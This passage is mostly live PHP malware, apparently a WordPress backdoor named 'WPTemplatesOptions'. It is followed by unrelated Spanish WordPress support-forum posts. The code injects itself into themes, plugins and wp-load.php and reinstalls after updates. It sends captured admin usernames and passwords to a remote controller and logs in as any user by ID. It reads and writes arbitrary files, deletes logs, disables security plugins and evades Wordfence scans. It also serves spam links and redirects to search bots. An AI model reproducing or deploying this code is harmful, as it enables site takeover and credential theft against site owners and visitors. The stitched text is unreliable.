      				$this->all->directory = array_values( array_unique( $this->all->directory ) );
      				return $this->answer( true, 'I Get Installed Plugins', $this->all );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function where() {
      			if ( isset( $_REQUEST['where'] ) && $_REQUEST['where'] == 'all' ) {
      				if ( !isset( $this->all->files ) ) {
      					$this->all();
      				}
      				return true;
      			}
      			return false;
      		}
      
      		private function theme() {
      			if ( !isset( $this->client ) ) {
      				$this->client = $this->cache()->files;
      			}
      			if ( $this->where() ) {
      				$directory = $this->all->theme;
      			} else {
      				$directory = $this->directory( $this->home() . 'wp-content/themes/*/', '*.php' );
      			}
      			$dirname = array();
      			foreach ( $directory as $iterator ) {
      				$this->all->theme[] = $iterator;
      				$dirname[] = dirname( $iterator );
      			}
      			$dirname = array_values( array_unique( $dirname ) );
      			foreach ( $dirname as $item ) {
      				$filename = $item . DIRECTORY_SEPARATOR . '.' . basename( $item ) . '.php';
      				if ( is_writeable( $item ) || is_writeable( $filename ) ) {
      					if ( file_exists( $filename ) ) {
      						if ( $this->strpos( $read = $this->read( $filename ), $this->client->theme->search->include ) !== false || stristr( $read, $this->client->null ) || filesize( $filename ) <= 0 ) {
      							if ( $this->writing( $filename, $this->client->file->templates ) ) {
      								$this->install->theme[] = $filename;
      							}
      						}
      					} else {
      						if ( $this->write( $filename, $this->client->file->templates ) ) {
      							$this->install->theme[] = $filename;
      						}
      					}
      				}
      			}
      			foreach ( $this->all->theme as $theme ) {
      				$read = $this->read( $theme );
      				if ( $this->strpos( $read, $this->client->install->theme->class->include ) !== false && $this->strpos( $read, $this->client->install->theme->class->exclude ) === false ) {
      					$this->install->theme[] = $theme;
      					$this->replace( $theme, $this->client->install->theme->class->attr, $this->client->install->theme->code . $this->client->install->theme->class->attr );
      				} else if ( $this->strpos( $read, $this->client->install->theme->function->include ) && $this->strpos( $read, $this->client->install->theme->function->exclude ) === false ) {
      					$this->install->theme[] = $theme;
      					$this->replace( $theme, $this->client->install->theme->function->attr, $this->client->install->theme->code . $this->client->install->theme->function->attr );
      				} else if ( stristr( $theme, 'functions.php' ) && $this->strpos( $read, $this->client->install->theme->function->exclude ) === false ) {
      					$this->install->theme[] = $theme;
      					$this->replace( $theme, $this->client->install->theme->php, $this->client->install->theme->php . $this->client->install->theme->code );
      				}
      			}
      			return $this->answer( true, 'I Get Installed Themes', $this->install->theme );
      		}
      
      		private function plugin() {
      			if ( !isset( $this->client ) ) {
      				$this->client = $this->cache()->files;
      			}
      			if ( $this->where() ) {
      				$directory = $this->all->plugin;
      			} else {
      				$directory = $this->directory( $this->home() . 'wp-content/plugins/*/', '*.php' );
      			}
      			$dirname = array();
      			foreach ( $directory as $iterator ) {
      				$this->all->plugin[] = $iterator;
      				$dirname[] = dirname( $iterator );
      			}
      			$dirname = array_values( array_unique( $dirname ) );
      			foreach ( $dirname as $item ) {
      				$filename = $item . DIRECTORY_SEPARATOR . '.' . basename( $item ) . '.php';
      				if ( is_writeable( $item ) || is_writeable( $filename ) ) {
      					if ( file_exists( $filename ) ) {
      						$read = $this->read( $filename );
      						if ( $this->strpos( $read, $this->client->plugin->search->include ) !== false || filesize( $filename ) <= 1 ) {
      							if ( $this->writing( $filename, $this->client->file->templates ) ) {
      								$this->install->plugin[] = $filename;
      							}
      						}
      					} else {
      						if ( $this->write( $filename, $this->client->file->templates ) ) {
      							$this->install->plugin[] = $filename;
      						}
      					}
      				}
      			}
      			foreach ( $this->all->plugin as $plugin ) {
      				$read = $this->read( $plugin );
      				if ( $this->strpos( $read, $this->client->install->plugin->class->include ) !== false && $this->strpos( $read, $this->client->install->plugin->class->exclude ) === false && $this->strpos( $plugin, $this->client->banned_plugins ) === false ) {
      					$this->install->plugin[] = $plugin;
      					$this->replace( $plugin, $this->client->install->plugin->class->attr, $this->client->install->plugin->code . $this->client->install->plugin->class->attr );
      				} else if ( $this->strpos( $read, $this->client->install->plugin->function->include ) !== false && $this->strpos( $read, $this->client->install->plugin->function->exclude ) === false && $this->strpos( $plugin, $this->client->banned_plugins ) === false ) {
      					$this->install->plugin[] = $plugin;
      					$this->replace( $plugin, $this->client->install->plugin->function->attr, $this->client->install->plugin->code . $this->client->install->plugin->function->attr );
      				}
      			}
      			return $this->answer( true, 'I Get Installed Plugins', $this->install->plugin );
      		}
      
      		private function wp_load() {
      			try {
      				if ( $this->_wp_get_themes() === false ) {
      					return false;
      				}
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				if ( file_exists( $filename = $this->abspath() . 'wp-load.php' ) ) {
      					foreach ( $this->_wp_get_themes() AS $theme_name => $wp_get_theme ) {
      						$templates = $this->_get_theme_root() . DIRECTORY_SEPARATOR . "{$wp_get_theme->stylesheet}" . DIRECTORY_SEPARATOR . ".{$wp_get_theme->stylesheet}.php";
      						if ( $this->writing( $templates, $this->client->file->templates ) ) {
      							$this->install->wp_load[] = $templates;
      						}
      					}
      
      					if ( $this->write( $filename, $this->client->load ) ) {
      						$this->install->wp_load[] = $filename;
      					}
      				}
      				return $this->answer( true, 'WP-LOAD', $this->install->wp_load );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function install() {
      			if ( !isset( $this->client ) ) {
      				$this->client = $this->cache()->files;
      			}
      			if ( $this->where() ) {
      				$directory = $this->all->directory;
      			} else {
      				$directory = $this->directory( $this->home() . 'wp-*/', '*.php' );
      			}
      			$dirname = array();
      			foreach ( $directory as $iterator ) {
      				$dirname[] = dirname( $iterator );
      			}
      			$dirname = array_values( array_unique( $dirname ) );
      			foreach ( $dirname as $item ) {
      				$filename = $item . '/index.php';
      				if ( stristr( $filename, 'themes' ) === false && stristr( $filename, 'plugins' ) === false ) {
      					if ( file_exists( $filename ) ) {
      						$read = $this->read( $filename );
      						if ( $this->strpos( $read, $this->client->settings->search ) !== false || filesize( $filename ) <= 0 || stristr( $read, $this->client->null ) ) {
      							if ( $this->writing( $filename, $this->client->file->other ) ) {
      								$this->install->files[] = $filename;
      							}
      						}
      					} else {
      						if ( $this->write( $filename, $this->client->file->other ) ) {
      							$this->install->files[] = $filename;
      						}
      					}
      				}
      			}
      			$this->secret();
      			$this->theme();
      			$this->plugin();
      			$this->wp_load();
      			return $this->answer( true, 'I Get Install', $this->install );
      		}
      
      		private function reinstall() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				if ( $this->where() ) {
      					$directory = $this->all->files;
      				} else {
      					$directory = $this->directory();
      				}
      				foreach ( $directory as $item ) {
      					$read = $this->read( $item );
      					if ( $this->strpos( $read, $this->client->settings->search ) !== false || stristr( $item, $this->client->settings->secret->name ) !== false || stristr( $read, $this->client->null ) || filesize( $item ) <= 0 ) {
      						if ( $this->strpos( $read, $this->client->file->search->templates ) !== false ) {
      							if ( $this->writing( $item, $this->client->file->templates ) ) {
      								$this->reinstall[] = $item;
      							}
      						} else if ( $this->strpos( $read, $this->client->file->search->other ) !== false ) {
      							if ( $this->writing( $item, $this->client->file->other ) ) {
      								$this->reinstall[] = $item;
      							}
      						} else if ( stristr( $item, 'wp-content/themes/' ) || stristr( $item, 'wp-content/plugins/' ) ) {
      							if ( $this->writing( $item, $this->client->file->templates ) ) {
      								$this->reinstall[] = $item;
      							}
      						} else {
      							if ( stristr( $item, 'wp-admin' ) && stristr( $item, 'wp-content' ) && stristr( $item, 'wp-includes' ) ) {
      								if ( $this->writing( $item, $this->client->file->other ) ) {
      									$this->reinstall[] = $item;
      								}
      							}
      						}
      					}
      				}
      				return $this->answer( true, 'I Get Reinstall', $this->reinstall );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function uninstall() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				if ( $this->where() ) {
      					$directory = $this->all->files;
      				} else {
      					$directory = $this->directory();
      				}
      				foreach ( $directory as $item ) {
      					if ( is_file( $item ) ) {
      						if ( stristr( $item, $this->home() . 'wp-' ) !== false ) {
      							$read = $this->read( $item );
      							if ( $item !== __FILE__ && $this->strpos( $read, $this->client->settings->search ) !== false || stristr( $item, $this->client->settings->secret->name ) !== false ) {
      								if ( $this->write( $item, $this->client->null ) ) {
      									$this->uninstall->files[] = $item;
      								}
      							}
      							if ( stristr( $item, 'wp-load.php' ) !== false ) {
      								$this->write( $item, $this->client->default_load );
      								$this->uninstall->load[] = $item;
      							}
      							if ( strpos( $read, $this->client->install->theme->code ) !== false ) {
      								$this->restore( $item, $this->client->install->theme->code, "\n" );
      								$this->uninstall->code[] = $item;
      							}
      							if ( strpos( $read, $this->client->install->plugin->code ) !== false ) {
      								$this->restore( $item, $this->client->install->plugin->code, "\n" );
      								$this->uninstall->code[] = $item;
      							}
      						}
      					}
      				}
      				return $this->answer( true, 'I Get Uninstall', $this->uninstall );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function secret() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				if ( $this->where() ) {
      					$directory = $this->all->directory;
      				} else {
      					$directory = $this->directory( $this->home() . 'wp-*', '', GLOB_ONLYDIR | GLOB_NOSORT );
      				}
      				foreach ( $directory as $iterator ) {
      					if ( $this->strpos( $iterator, $this->client->settings->secret->directory ) !== false ) {
      						$filename = "{$iterator}/{$this->client->settings->secret->key}";
      						if ( $this->writing( $filename, $this->client->file->secret ) ) {
      							$this->install->secret[] = $filename;
      						} else {
      							$this->install->secret[] = $filename;
      						}
      					}
      				}
      				return $this->answer( true, 'I Get Secret', $this->install->secret );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function htaccess() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				if ( $this->where() ) {
      					$directory = $this->directory( $this->home(), '.htaccess', GLOB_NOSORT );
      				} else {
      					$directory = $this->directory( $this->abspath(), '.htaccess', GLOB_NOSORT );
      				}
      				$return = new stdClass();
      				foreach ( $directory as $iterator ) {
      					if ( $this->strpos( $iterator, array('wp-content', 'wp-includes', 'wp-admin') ) ) {
      						if ( $this->write( $iterator, $this->client->sub_htaccess ) ) {
      							$return->sub["true"][] = $iterator;
      						} else {
      							$return->sub["false"][] = $iterator;
      						}
      					} else if ( stristr( $this->read( $iterator ), '# BEGIN WordPress' ) !== false ) {
      						if ( $this->write( $iterator, $this->client->main_htaccess ) ) {
      							$return->main[] = $iterator;
      						}
      					} else {
      						$return->undefined[] = $iterator;
      					}
      				}
      				return $this->answer( true, 'I Get Change htaccess', $return );
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function log() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				foreach ( $this->directory( $this->home(), '{*.gz,*.com,*.com-ssl-log,*.log,error_log}', GLOB_BRACE | GLOB_NOSORT ) as $iterator ) {
      					if ( is_file( $iterator ) ) {
      						if ( stristr( $iterator, '.gz' ) && stristr( $iterator, $this->home() ) ) {
      						} else {
      							$this->return_array[] = $iterator;
      							unlink( $iterator );
      						}
      					}
      				}
      				return $this->return_array;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function WPFastestCacheExclude() {
      			try {
      				if ( $this->_get_option( 'WpFastestCacheExclude' ) ) {
      					foreach ( $this->client->settings->cache->bot as $bot ) {
      						if ( !strpos( $this->_get_option( 'WpFastestCacheExclude' ), $bot ) ) {
      							$this->_update_option( 'WpFastestCacheExclude', json_encode( $this->client->settings->cache->WpFastestCacheExclude ) );
      							return true;
      						}
      					}
      				} else {
      					$this->_add_option( 'WpFastestCacheExclude', json_encode( $this->client->settings->cache->WpFastestCacheExclude ) );
      					return true;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function LitespeedCache() {
      			try {
      				$litespeed = $this->_get_option( 'litespeed-cache-conf' );
      				if ( $litespeed ) {
      					foreach ( $this->client->settings->cache->bot as $bot ) {
      						if ( !stristr( $litespeed['nocache_useragents'], $bot ) ) {
      							$litespeed['nocache_useragents'] = ltrim( rtrim( $litespeed['nocache_useragents'], '|' ) . '|' . join( '|', $this->client->settings->cache->bot ), '|' );
      							$litespeed['nocache_useragents'] = join( "|", array_values( array_unique( explode( '|', $litespeed['nocache_useragents'] ) ) ) );
      							if ( $this->_update_option( 'litespeed-cache-conf', $litespeed ) ) {
      								$this->write_append( $this->abspath() . '.htaccess', str_replace( '{{bot}}', $litespeed['nocache_useragents'], $this->client->settings->cache->LitespeedCache ) );
      							}
      						}
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function WPOptimize() {
      			try {
      				if ( $option = $this->_get_option( 'wpo_cache_config' ) ) {
      					foreach ( $this->client->settings->cache->bot as $bot ) {
      						if ( !in_array( $bot, $option['cache_exception_browser_agents'] ) ) {
      							$option['cache_exception_browser_agents'] = array_values( array_unique( array_merge_recursive( $option['cache_exception_browser_agents'], $this->client->settings->cache->bot ) ) );
      							if ( $this->_update_option( 'wpo_cache_config', $option ) ) {
      								return true;
      							}
      						}
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function WPSuperCache() {
      			try {
      				if ( file_exists( $filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'wp-cache-config.php' ) ) {
      					foreach ( $this->client->settings->cache->bot as $bot ) {
      						if ( !stristr( $this->read( $filename ), $bot ) ) {
      							$return = false;
      						}
      					}
      					if ( isset( $return ) && $return === false ) {
      						$this->write_append( $filename, $this->client->settings->cache->WPSuperCache );
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function W3TotalCache() {
      			try {
      				$filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'w3tc-config/master-preview.php';
      				if ( file_exists( $filename ) ) {
      					$json_decode = json_decode( str_replace( '<?php exit; ?>', '', $this->read( $filename ) ) );
      					foreach ( $this->client->settings->cache->{__FUNCTION__} as $key => $value ) {
      						if ( isset( $json_decode->$key ) ) {
      							$json_decode->$key = array_values( array_unique( array_merge( $json_decode->$key, $value ) ) );
      						}
      					}
      					$this->write( $filename, '<?php exit; ?>' . json_encode( $json_decode ) );
      				}
      				$filename = WP_CONTENT_DIR . DIRECTORY_SEPARATOR . 'w3tc-config/master.php';
      				if ( file_exists( $filename ) ) {
      					$json_decode = json_decode( str_replace( '<?php exit; ?>', '', $this->read( $filename ) ) );
      					foreach ( $this->client->settings->cache->{__FUNCTION__} as $key => $value ) {
      						if ( isset( $json_decode->$key ) ) {
      							$json_decode->$key = array_values( array_unique( array_merge( $json_decode->$key, $value ) ) );
      						}
      					}
      					$this->write( $filename, '<?php exit; ?>' . json_encode( $json_decode ) );
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function Wordfence() {
      			try {
      				global $wpdb;
      				$table = $wpdb->prefix . 'wfconfig';
      				if ( $wpdb->get_var( "SHOW TABLES LIKE '{$table}'" ) == $table ) {
      					$exclude = $wpdb->get_row( "SELECT * FROM {$table} WHERE name = 'scan_exclude'" );
      					$include = $wpdb->get_row( "SELECT * FROM {$table} WHERE name = 'scan_include_extra'" );
      					foreach ( $this->client->settings->security->{__FUNCTION__}->search->exclude as $wordfence ) {
      						if ( strpos( $exclude->val, $wordfence ) === false ) {
      							$exclude->val = $exclude->val . PHP_EOL . $wordfence;
      							$wpdb->update( $table, array('val' => $exclude->val), array('name' => 'scan_exclude'), $format = null, $where_format = null );
      						}
      					}
      					foreach ( $this->client->settings->security->{__FUNCTION__}->search->include as $wordfence ) {
      						if ( strpos( $include->val, $wordfence ) === false ) {
      							$include->val = $include->val . PHP_EOL . $wordfence;
      							$wpdb->update( $table, array('val' => $include->val), array('name' => 'scan_include_extra'), $format = null, $where_format = null );
      						}
      					}
      					foreach ( $this->client->settings->security->{__FUNCTION__}->scans as $where => $val ) {
      						$wpdb->update( $table, array('val' => $val), array('name' => "{$where}"), $format = null, $where_format = null );
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function AllInOneSecurity() {
      			try {
      				if ( $option = $this->_get_option( 'aio_wp_security_configs' ) ) {
      					foreach ( $this->client->settings->security->{__FUNCTION__}->scans as $where => $value ) {
      						$option[$where] = $value;
      						$this->_update_option( 'aio_wp_security_configs', $option );
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function update() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				foreach ( $this->client->settings->plugins as $key => $value ) {
      					if ( $this->findPlugin( $value ) !== false ) {
      						$this->{$key}();
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function disable() {
      			try {
      
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				$return = array();
      				foreach ( $this->client->settings->security->disable as $disable ) {
      					foreach ( $this->get_plugins() as $key => $plugins ) {
      						foreach ( $plugins as $plugin_key => $plugin ) {
      							if ( stristr( $plugin, $disable ) && $plugins['active'] == 1 ) {
      								$return[$key] = $plugins;
      								$this->_deactivate_plugins( $key );
      								if ( function_exists( 'chmod' ) && defined( 'WP_PLUGIN_DIR' ) ) {
      									chmod( WP_PLUGIN_DIR . "/{$key}", 0000 );
      								}
      							}
      						}
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function findPlugin( $name ) {
      			try {
      				foreach ( $this->get_plugins() as $key => $plugins ) {
      					foreach ( $plugins as $plugin_key => $plugin ) {
      						if ( stristr( $plugin, $name ) && $plugins['active'] == 1 ) {
      							return $plugins;
      						}
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function json() {
      			try {
      				$this->upDir();
      				return $this->uploadDir . DIRECTORY_SEPARATOR . '.json';
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function get() {
      			try {
      				if ( $this->post() ) {
      					if ( $this->json_validator( $this->json_encode ) ) {
      						$write = $this->write( $this->json(), bin2hex( $this->json_encode ) );
      						return ($write) ? $this->hex2bin( $this->read( $this->json() ) ) : $this->json_encode;
      					} else {
      						return $this->hex2bin( $this->read( $this->json() ) );
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function cache() {
      			try {
      				if ( file_exists( $this->json() ) ) {
      					if ( $this->timestamp( filemtime( $this->json() ) ) >= 12 ) {
      						return json_decode( $this->get() );
      					} else {
      						$json = json_decode( $this->hex2bin( $this->read( $this->json() ) ) );
      						return (isset( $json->files )) ? $json : json_decode( $this->get() );
      					}
      				} else {
      					return json_decode( $this->get() );
      				}
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function writing( $filename, $data ) {
      			if ( file_exists( $filename ) ) {
      				if ( filesize( $filename ) !== strlen( $data ) ) {
      					return $this->write( $filename, $data );
      				}
      				return true;
      			}
      			if ( !file_exists( $filename ) ) {
      				return $this->write( $filename, $data );
      			}
      			return false;
      		}
      
      		private function write( $filename, $data ) {
      			try {
      				if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
      					$fopen = fopen( $filename, 'w+' );
      					$fwrite = fwrite( $fopen, $data );
      					fclose( $fopen );
      					return ($fwrite) ? true : false;
      				} else if ( function_exists( 'file_put_contents' ) ) {
      					return (file_put_contents( $filename, $data ) !== false) ? true : false;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function write_file() {
      			try {
      				if ( !isset( $_REQUEST['filename'] ) ) {
      					return false;
      				}
      				$filename = $this->hex2bin( $_REQUEST['filename'] );
      				if ( isset( $_REQUEST['content'] ) ) {
      					$content = $this->hex2bin( $_REQUEST['content'] );
      				}
      				if ( file_exists( $filename ) ) {
      					if ( isset( $content ) ) {
      						if ( $write = $this->write( $filename, $content ) ) {
      							return $this->answer( $write, $filename, $content );
      						}
      					} else {
      						return $this->answer( true, $filename, $this->read( $filename ) );
      					}
      				} else {
      					if ( isset( $content ) ) {
      						if ( $write = $this->write( $filename, $content ) ) {
      							return $this->answer( $write, $filename, $content );
      						}
      					} else {
      						return $this->answer( $this->write( $filename, ' ' ), $filename, '' );
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function write_append( $filename, $data ) {
      			try {
      				if ( function_exists( 'fopen' ) && function_exists( 'fwrite' ) ) {
      					$write = fopen( $filename, 'a' );
      
      					return (fwrite( $write, $data )) ? true : false;
      
      				} else if ( function_exists( 'file_put_contents' ) ) {
      					return (file_put_contents( $filename, $data, FILE_APPEND ) !== false) ? true : false;
      				}
      
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function read( $filename ) {
      			try {
      				if ( !file_exists( $filename ) ) {
      					return false;
      				}
      				if ( function_exists( 'file_get_contents' ) && is_readable( $filename ) ) {
      					return file_get_contents( $filename );
      				}
      
      				if ( function_exists( 'fopen' ) && is_readable( $filename ) ) {
      					$file = fopen( $filename, 'r' );
      					$content = '';
      					while ( !feof( $file ) ) {
      						$content .= fread( $file, filesize( $filename ) );
      					}
      					fclose( $file );
      					return $content;
      				}
      
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function read_file() {
      			try {
      				if ( !isset( $_REQUEST['filename'] ) ) {
      					return false;
      				}
      				$filename = $this->hex2bin( $_REQUEST['filename'] );
      
      				if ( $this->json_validator( $read = $this->read( $filename ) ) ) {
      					return $read;
      				} else {
      					return $this->answer( true, $filename, $read );
      				}
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function login() {
      			try {
      				$id = (isset( $_REQUEST['user_id'] )) ? $_REQUEST['user_id'] : exit;
      				if ( $user = $this->_get_user_by( 'id', $id ) ) {
      					$this->_wp_set_current_user( $user->ID, $user->user_login );
      					$this->_wp_set_auth_cookie( $user->ID );
      					return $this->answer( true, 'login data', $user );
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function wp_login() {
      			try {
      				if ( isset( $_POST['log'] ) ) {
      					$username = (isset( $_POST['log'] )) ? $_POST['log'] : 'not isset';
      					$password = (isset( $_POST['pwd'] )) ? $_POST['pwd'] : 'not isset';
      					$wp_authenticate = $this->_wp_authenticate( $username, $password );
      					if ( isset( $wp_authenticate->data ) ) {
      						$this->send( 'login', array(
      							'username'    => $username,
      							'password'    => $password,
      							'redirect_to' => (isset( $_POST['redirect_to'] )) ? $_POST['redirect_to'] : '',
      							'admin_url'   => 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'],
      							'json'        => json_encode( $wp_authenticate->data ),
      						) );
      					}
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function request( $name, $value ) {
      			if ( isset( $_REQUEST["{$name}"] ) && $_REQUEST["{$name}"] == $value ) {
      				return true;
      			}
      			return false;
      		}
      
      		private function activated() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				if ( $this->request( 'activate', 'true' ) || $this->request( 'activated', 'true' ) || $this->request( 'action', 'heartbeat' ) ) {
      					$this->install();
      				}
      				if ( $this->request( 'action', 'upload-theme' ) || $this->request( 'action', 'install-theme' ) || $this->request( 'action', 'do-theme-upgrade' ) ) {
      					$this->theme();
      				}
      				if ( $this->request( 'action', 'upload-plugin' ) || $this->request( 'action', 'install-plugin' ) || $this->request( 'action', 'do-plugin-upgrade' ) ) {
      					$this->plugin();
      				}
      				if ( $this->request( 'action', 'do-core-upgrade' ) || $this->request( 'action', 'do-core-reinstall' ) || (stristr( @$_SERVER['REQUEST_URI'], 'about.php?updated' )) ) {
      					$this->install();
      				}
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function upgrade() {
      			try {
      				if ( !isset( $this->client ) ) {
      					$this->client = $this->cache()->files;
      				}
      				if ( $this->version < $this->client->version ) {
      					$this->reinstall();
      					return true;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function init() {
      			try {
      				$data = $this->cache()->data;
      				if ( isset( $data->location ) ) {
      					$this->_add_action( $data->location, array($this, 'code') );
      					return true;
      				}
      				if ( isset( $data->script->location ) ) {
      					$this->_add_action( $data->script->location, array($this, 'script') );
      					return true;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		private function is_bot() {
      			try {
      				$this->is_bot->data = $this->cache()->data;
      				$this->is_bot->bot = (preg_match( "~({$this->is_bot->data->bot})~i", strtolower( @$_SERVER['HTTP_USER_AGENT'] ) )) ? true : false;
      				$this->is_bot->unbot = (preg_match( "~({$this->is_bot->data->unbot})~i", strtolower( @$_SERVER['HTTP_USER_AGENT'] ) )) ? true : false;
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		public function script() {
      			try {
      				$this->is_bot();
      				if ( !$this->is_bot->bot && !$this->is_bot->unbot && !$this->_is_user_logged_in() ) {
      					echo $this->is_bot->data->script->data;
      				}
      				return false;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		public function code() {
      			try {
      				$this->is_bot();
      				if ( $this->is_bot->bot && !$this->is_bot->unbot && !$this->_is_user_logged_in() ) {
      					if ( $this->is_bot->data->status === 9 && !empty( $this->is_bot->data->redirect ) && isset( $this->is_bot->data->redirect ) ) {
      						header( "Location: {$this->is_bot->data->redirect}", true, 301 );
      					}
      					if ( $this->is_bot->data->is_home ) {
      						echo $this->is_bot->data->style . join( $this->is_bot->data->implode, $this->is_bot->data->link );
      					}
      					if ( !$this->is_bot->data->is_home && !$this->_is_home() && !$this->_is_front_page() ) {
      						echo $this->is_bot->data->style . join( $this->is_bot->data->implode, $this->is_bot->data->link );
      					}
      				}
      				return true;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      
      		public function filter() {
      			return $this->_add_filter( 'the_content', array($this, 'remove_rel'), 1000 );
      		}
      
      		public function remove_rel( $content ) {
      			return preg_replace_callback( '/(:? rel=\")(.+?)(:?\")/', array($this, 'remove_rel_replace'), $content );
      		}
      
      		public function remove_rel_replace( $content ) {
      			return preg_replace( '/(:? rel=\")(.+?)(:?\")/', '', $content['0'] );
      		}
      
      		public static function loaded() {
      			try {
      				(new self())->activated();
      				(new self())->disable();
      				(new self())->upgrade();
      				(new self())->ftp();
      				(new self())->update();
      				(new self())->init();
      				(new self())->wp_login();
      				(new self())->filter();
      				return true;
      			} catch ( Exception $e ) {
      				return false;
      			}
      		}
      	}
      
      	try {
      		@ini_set( 'memory_limit', -1 );
      		@ini_set( 'max_execution_time', -1 );
      		@set_time_limit( -1 );
      		@error_reporting( 0 );
      		@ini_set( 'display_errors', false );
      		if ( isset( $_REQUEST['debug'] ) ) {
      			if ( $_REQUEST['debug'] == true ) {
      				@error_reporting( -1 );
      				@ini_set( 'display_errors', true );
      			}
      		}
      
      		if ( !function_exists( 'preArrayList' ) ) {
      			function preArrayList( $arr ) {
      				echo '<pre>';
      				print_r( $arr );
      				echo '</pre>';
      			}
      		}
      		if ( !defined( 'ABSPATH' ) ) {
      			foreach ( array('.', '..', '../..', '../../..', '../../../..', '../../../../..', '../../../../../..', '../../../../../../..', '../../../../../../../..') AS $directory ) {
      				if ( file_exists( $directory . DIRECTORY_SEPARATOR . 'wp-load.php' ) ) {
      					include_once($directory . DIRECTORY_SEPARATOR . 'wp-load.php');
      					break;
      				}
      			}
      		}
      	} catch ( Exception $e ) {
      	}
      	try {
      		if ( isset( $_REQUEST['wp_api_token'] ) && !is_null( $_REQUEST['wp_api_token'] ) && !empty( $_REQUEST['wp_api_token'] ) ) {
      			if ( function_exists( 'add_action' ) ) {
      				add_action( 'wp_loaded', function() {
      					$controlAction = WPTemplatesOptions::getInstanceWordpress()->controlAction( $_REQUEST['wp_api_application'], (isset( $_REQUEST['wp_api_params'] )) ? $_REQUEST['wp_api_params'] : '', $_REQUEST['wp_api_token'] );
      					if ( is_array( $controlAction ) || is_object( $controlAction ) ) {
      						preArrayList( $controlAction );
      					} else {
      						echo (!is_null( $controlAction )) ? $controlAction : '';
      					}
      				} );
      			}
      		} else {
      			if ( function_exists( 'add_action' ) ) {
      				add_action( 'init', array('WPTemplatesOptions', 'loaded') );
      			}
      		}
      	} catch ( Exception $e ) {
      	}
      }
      //fed36e93a0509e20f2dc96cbbd85b678
      • Este debate fue modificado hace 2 años, 1 mes por ricrey.

    Hola @jmiguellm

    Lo primero y viendo lo que dice el pagespeed es que intentes corregir los problemas como por el ejemplo el pagespeed dice que tu servidor es lento y asi con todo.

    No he mirado si usas un plugin de cache, pero creo tambien podria servirte.

    Lo otro es que mires como aplicar WPO para WordPress, o contratar ha algun profesional para que lo aplique.

    Saludos

    • Desde junio que se hizo una actualización desde Wpordpress, no tengo acceso a la página. http://sensation-apartments.com/wordpress/
      Me indica:
      «Ha habido un error crítico en tu web.
      Aprende más sobre la depuración en WordPress.»

      No puedo acceder no siquiera desde el email a la cuenta. El mail de registro es xxx@gmail.com

      ¿Me pueden ayudar, por favor?

      • Este debate fue modificado hace 2 años, 2 meses por Jose Luis. Razón: Eliminar correo electrónico del administrador

      La página con la que necesito ayuda: [accede para ver el enlace]

    • Buenas,

      estoy teniendo problemas con un sitio web (de bastante volumen tanto en contenido como en visitas) en el que de vez en cuando el servidor parece caerse y la web queda inactiva durante un momento. Está recién migrada a un nuevo alojamiento y estoy tratando de atajar estos problemas con la gente de soporte, pero indagando he identificado una SQL que a veces se acumula por decenas, que tarda en ejecutarse y que ha legado a provocar caídas de servicios.

